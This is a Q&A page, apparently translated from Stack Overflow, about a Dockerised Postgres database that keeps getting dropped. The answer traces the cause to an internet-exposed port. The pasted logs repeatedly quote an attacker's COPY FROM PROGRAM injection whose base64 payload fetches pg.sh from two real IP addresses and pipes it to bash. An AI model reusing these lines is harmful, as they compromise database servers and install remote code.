Postgres 数据库在一段时间后自行删除语句:DROP DATABASE postgres;

问题描述 投票:0回答:1

我在 vps 中使用 docker 部署了 Ruby on Rails 应用程序,但一段时间后(10-20 小时)postgres 数据库会自行删除

STATEMENT:  DROP DATABASE postgres;
会不会是某种病毒?我刚买了这个 vps,它很干净 在自毁之前,应用程序可以正常工作

2024-02-03 20:35:37.219 UTC [1] LOG:  starting PostgreSQL 14.10 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20231014) 13.2.1 20231014, 64-bit
2024-02-03 20:35:37.221 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
2024-02-03 20:35:37.221 UTC [1] LOG:  listening on IPv6 address "::", port 5432
2024-02-03 20:35:37.222 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2024-02-03 20:35:37.227 UTC [21] LOG:  database system was shut down at 2024-02-03 20:35:34 UTC
2024-02-03 20:35:37.232 UTC [1] LOG:  database system is ready to accept connections
2024-02-03 21:01:44.743 UTC [143] ERROR:  program "echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk0LjEwMy44Ny43MS9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTQuMTAzLjg3LjcxL3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTQuMTAzLjg3LjcxL3BnMi5zaHxiYXNoCmZp|base64 -d|bash" failed
2024-02-03 21:01:44.743 UTC [143] DETAIL:  child process was terminated by signal 2: Interrupt
2024-02-03 21:01:44.743 UTC [143] STATEMENT:  DROP TABLE IF EXISTS xKadiWXd;CREATE TABLE xKadiWXd(cmd_output text);COPY xKadiWXd FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk0LjEwMy44Ny43MS9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTQuMTAzLjg3LjcxL3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTQuMTAzLjg3LjcxL3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM xKadiWXd;DROP TABLE IF EXISTS xKadiWXd;
2024-02-03 21:01:44.801 UTC [144] ERROR:  program "echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk0LjEwMy44Ny43MS9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTQuMTAzLjg3LjcxL3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTQuMTAzLjg3LjcxL3BnMi5zaHxiYXNoCmZp|base64 -d|bash" failed
2024-02-03 21:01:44.801 UTC [144] DETAIL:  child process was terminated by signal 2: Interrupt
2024-02-03 21:01:44.801 UTC [144] STATEMENT:  DROP TABLE IF EXISTS wPtdatPj;CREATE TABLE wPtdatPj(cmd_output text);COPY wPtdatPj FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk0LjEwMy44Ny43MS9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTQuMTAzLjg3LjcxL3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTQuMTAzLjg3LjcxL3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM wPtdatPj;DROP TABLE IF EXISTS wPtdatPj;
wget: can't connect to remote host (94.103.87.71): Operation timed out
wget: can't connect to remote host (94.103.87.71): Operation timed out
2024-02-04 03:52:19.254 UTC [2277] FATAL:  expected SASL response, got message type 0
2024-02-04 08:42:56.894 UTC [3732] ERROR:  must be superuser or a member of the pg_execute_server_program role to COPY to or from an external program
2024-02-04 08:42:56.894 UTC [3732] HINT:  Anyone can COPY to stdout or from stdin. psql's \copy command also works for anyone.
2024-02-04 08:42:56.894 UTC [3732] STATEMENT:  DROP TABLE IF EXISTS HwepyQYq;CREATE TABLE HwepyQYq(cmd_output text);COPY HwepyQYq FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk0LjEwMy44Ny43MS9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTQuMTAzLjg3LjcxL3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTQuMTAzLjg3LjcxL3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM HwepyQYq;DROP TABLE IF EXISTS HwepyQYq;
wget: can't connect to remote host (94.103.87.71): Operation timed out
wget: can't connect to remote host (94.103.87.71): Operation timed out
2024-02-04 08:51:11.520 UTC [3799] ERROR:  must be superuser or a member of the pg_execute_server_program role to COPY to or from an external program
2024-02-04 08:51:11.520 UTC [3799] HINT:  Anyone can COPY to stdout or from stdin. psql's \copy command also works for anyone.
2024-02-04 08:51:11.520 UTC [3799] STATEMENT:  DROP TABLE IF EXISTS iFxfHFqz;CREATE TABLE iFxfHFqz(cmd_output text);COPY iFxfHFqz FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk1LjE0Mi40Ny4yNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTUuMTQyLjQ3LjI3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTUuMTQyLjQ3LjI3L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM iFxfHFqz;DROP TABLE IF EXISTS iFxfHFqz;
2024-02-04 08:55:24.890 UTC [3799] ERROR:  program "echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk1LjE0Mi40Ny4yNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTUuMTQyLjQ3LjI3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTUuMTQyLjQ3LjI3L3BnMi5zaHxiYXNoCmZp|base64 -d|bash" failed
2024-02-04 08:55:24.890 UTC [3799] DETAIL:  child process was terminated by signal 2: Interrupt
2024-02-04 08:55:24.890 UTC [3799] STATEMENT:  DROP TABLE IF EXISTS iFxfHFqz;CREATE TABLE iFxfHFqz(cmd_output text);COPY iFxfHFqz FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk1LjE0Mi40Ny4yNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTUuMTQyLjQ3LjI3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTUuMTQyLjQ3LjI3L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM iFxfHFqz;DROP TABLE IF EXISTS iFxfHFqz;
2024-02-04 09:13:32.618 UTC [3905] ERROR:  program "echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk1LjE0Mi40Ny4yNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTUuMTQyLjQ3LjI3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTUuMTQyLjQ3LjI3L3BnMi5zaHxiYXNoCmZp|base64 -d|bash" failed
2024-02-04 09:13:32.618 UTC [3905] DETAIL:  child process was terminated by signal 2: Interrupt
2024-02-04 09:13:32.618 UTC [3905] STATEMENT:  DROP TABLE IF EXISTS AmCwLlyU;CREATE TABLE AmCwLlyU(cmd_output text);COPY AmCwLlyU FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDk1LjE0Mi40Ny4yNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gOTUuMTQyLjQ3LjI3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vOTUuMTQyLjQ3LjI3L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM AmCwLlyU;DROP TABLE IF EXISTS AmCwLlyU;
2024-02-04 11:46:11.674 UTC [4704] FATAL:  expected SASL response, got message type 0
2024-02-04 13:51:12.901 UTC [5327] FATAL:  password authentication failed for user "postgres"
2024-02-04 13:51:12.901 UTC [5327] DETAIL:  Connection matched pg_hba.conf line 100: "host all all all scram-sha-256"
2024-02-04 13:51:13.084 UTC [5329] FATAL:  password authentication failed for user "postgres"
2024-02-04 13:51:13.084 UTC [5329] DETAIL:  Connection matched pg_hba.conf line 100: "host all all all scram-sha-256"
2024-02-04 13:51:29.117 UTC [5332] FATAL:  password authentication failed for user "postgres"
2024-02-04 13:51:29.117 UTC [5332] DETAIL:  Connection matched pg_hba.conf line 100: "host all all all scram-sha-256"
2024-02-04 13:51:29.307 UTC [5333] FATAL:  password authentication failed for user "postgres"
2024-02-04 13:51:29.307 UTC [5333] DETAIL:  Connection matched pg_hba.conf line 100: "host all all all scram-sha-256"
2024-02-04 13:51:30.813 UTC [5338] FATAL:  database "template0" is not currently accepting connections
2024-02-04 13:51:34.212 UTC [28] FATAL:  terminating connection due to administrator command
2024-02-04 13:51:34.213 UTC [33] FATAL:  terminating connection due to administrator command
2024-02-04 13:51:34.213 UTC [2916] FATAL:  terminating connection due to administrator command
2024-02-04 13:51:34.740 UTC [5343] ERROR:  cannot drop the currently open database
2024-02-04 13:51:34.740 UTC [5343] STATEMENT:  DROP DATABASE postgres;
2024-02-04 13:51:36.140 UTC [5349] FATAL:  database "reminder_bot_production" does not exist
2024-02-04 13:51:36.150 UTC [5350] FATAL:  database "reminder_bot_production" does not exist
2024-02-04 13:51:39.239 UTC [5352] FATAL:  database "reminder_bot_production" does not exist
2024-02-04 13:51:44.252 UTC [5353] FATAL:  database "reminder_bot_production" does not exist
2024-02-04 13:51:46.139 UTC [5354] FATAL:  database "reminder_bot_production" does not exist
2024-02-04 13:51:49.265 UTC [5355] FATAL:  database "reminder_bot_production" does not exist
2024-02-04 13:51:54.280 UTC [5357] FATAL:  database "reminder_bot_production" does not exist

我的码头工人撰写:

version: "3.4"

x-app: &app_base
  depends_on:
    - db
  build: .
  environment:
    - DATABASE_URL=postgres://postgres:password@db
    - RAILS_ENV=production
  volumes:
    - ruby-bundle:/usr/local/bundle

services:
  db:
    image: postgres:14-alpine
    environment:
      - POSTGRES_PASSWORD=password
    ports:
      - "5432:5432"
    volumes:
      - db-data:/var/lib/postgresql/data
  app:
    <<: *app_base
    stdin_open: true
    tty: true
    ports:
      - "3000:3000"
    volumes:
      - .:/app
    command: rake telegram:bot:poller
  good_job:
    <<: *app_base
    depends_on:
      - app
    command: bundle exec good_job start --enable-cron

volumes:
  ruby-bundle:
  db-data:

我检查了我的 vps 是否有病毒,没有发现病毒 请帮忙

ruby-on-rails postgresql docker docker-compose vps
1个回答
0
投票

发现问题:

我的数据库端口已开放以供互联网访问,并且正在遭受暴力攻击。从我的 Docker Compose 文件中删除以下行后,问题消失了:

ports:
  - "5432:5432"

建议:

切勿向互联网开放您的数据库。

© www.soinside.com 2019 - 2024. All rights reserved.